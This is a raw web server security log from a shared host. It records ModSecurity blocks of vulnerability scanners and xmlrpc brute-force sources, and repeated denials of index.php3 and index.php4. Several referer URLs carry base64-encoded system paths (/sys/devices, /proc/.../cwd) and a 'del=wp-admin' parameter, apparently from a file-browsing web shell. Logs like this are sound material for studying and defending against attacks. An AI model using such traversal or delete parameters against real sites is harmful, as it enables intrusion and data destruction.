Jun 13 18:15:19.821122 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.106:40569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:19.821617 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.106:40569] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:19.870280 2026] [security2:error] [pid 646876:tid 646960] [remote 17.241.75.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yl9yTkdrNlD40tSGelgAAFlE"] [Sat Jun 13 18:15:19.976044 2026] [security2:error] [pid 648189:tid 648344] [remote 17.22.253.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yl1WSojQL4F7upKBUBQAAunk"] [Sat Jun 13 18:15:20.034495 2026] [security2:error] [pid 646876:tid 646929] [remote 17.246.19.76:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymNyTkdrNlD40tSGepgAAXzI"] [Sat Jun 13 18:15:20.044724 2026] [security2:error] [pid 646876:tid 647008] [client 172.56.168.133:55326] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ymNyTkdrNlD40tSGepQAAAAA"] [Sat Jun 13 18:15:20.044921 2026] [security2:error] [pid 646876:tid 647008] [client 172.56.168.133:55326] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ymNyTkdrNlD40tSGepQAAAAA"] [Sat Jun 13 18:15:20.145357 2026] [security2:error] [pid 646876:tid 646975] [remote 17.241.227.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymNyTkdrNlD40tSGeqwAAMGA"] [Sat Jun 13 18:15:20.295689 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:15:20.296132 2026] [access_compat:error] [pid 646876:tid 646931] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:15:20.351211 2026] [security2:error] [pid 646876:tid 646966] [remote 17.246.15.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymNyTkdrNlD40tSGetQAAA1c"] [Sat Jun 13 18:15:20.361852 2026] [security2:error] [pid 648189:tid 648308] [remote 52.167.144.19:51782] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "celadondragon.com"] [uri "/content/histanddynasties/content/pronguide/content/pronguide/FormerSong/NorthernWei/EasternJin/index.php"] [unique_id "ai3ymFWSojQL4F7upKBUEAAApFY"] [Sat Jun 13 18:15:20.675225 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.8:33571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:20.675673 2026] [access_compat:error] [pid 646876:tid 646892] [remote 57.141.14.8:33571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:20.825146 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:15:20.825590 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:15:20.925701 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.41:50939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:20.926137 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.41:50939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:20.926645 2026] [security2:error] [pid 646876:tid 646990] [remote 17.241.219.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymNyTkdrNlD40tSGeyAAAF28"] [Sat Jun 13 18:15:20.973052 2026] [security2:error] [pid 646876:tid 646972] [remote 17.22.237.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymNyTkdrNlD40tSGeygAAVl0"] [Sat Jun 13 18:15:21.126924 2026] [security2:error] [pid 646876:tid 646957] [remote 17.246.19.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymdyTkdrNlD40tSGe0QAAZk4"] [Sat Jun 13 18:15:21.149552 2026] [security2:error] [pid 646876:tid 647118] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/bug31142_1.phpt"] [unique_id "ai3ymdyTkdrNlD40tSGe0wAAAG4"] [Sat Jun 13 18:15:21.262241 2026] [access_compat:error] [pid 648189:tid 648310] [remote 74.7.242.16:44096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:15:21.262832 2026] [access_compat:error] [pid 648189:tid 648310] [remote 74.7.242.16:44096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:15:21.316554 2026] [security2:error] [pid 648189:tid 648397] [client 210.217.96.217:63553] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ymVWSojQL4F7upKBULgAAALE"] [Sat Jun 13 18:15:21.316768 2026] [security2:error] [pid 648189:tid 648397] [client 210.217.96.217:63553] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3ymVWSojQL4F7upKBULgAAALE"] [Sat Jun 13 18:15:21.343227 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.92:59476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:21.344838 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.92:59476] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:21.353621 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:15:21.354887 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:15:21.578955 2026] [security2:error] [pid 648189:tid 648301] [remote 17.22.237.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymVWSojQL4F7upKBUMAAAkk8"] [Sat Jun 13 18:15:21.720116 2026] [access_compat:error] [pid 648189:tid 648338] [remote 57.141.14.111:33758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:21.720572 2026] [access_compat:error] [pid 648189:tid 648338] [remote 57.141.14.111:33758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:21.896801 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:15:21.897237 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9pZA== [Sat Jun 13 18:15:22.248555 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.109:49888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:22.248996 2026] [access_compat:error] [pid 648189:tid 648294] [remote 57.141.14.109:49888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:22.355940 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.47:49994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:22.356370 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.47:49994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:22.394977 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:15:22.395439 2026] [access_compat:error] [pid 646876:tid 646910] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9wb3dlcg== [Sat Jun 13 18:15:22.590858 2026] [security2:error] [pid 648189:tid 648295] [remote 17.22.253.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ymlWSojQL4F7upKBUSQAAokk"] [Sat Jun 13 18:15:22.646937 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.86:44758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:22.647370 2026] [access_compat:error] [pid 648189:tid 648318] [remote 57.141.14.86:44758] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:22.956377 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:15:22.956840 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:15:23.004924 2026] [access_compat:error] [pid 648189:tid 648238] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:23.005363 2026] [access_compat:error] [pid 648189:tid 648238] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:23.381857 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.36:57196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:23.382304 2026] [access_compat:error] [pid 646876:tid 646920] [remote 57.141.14.36:57196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:23.435302 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:23.435752 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 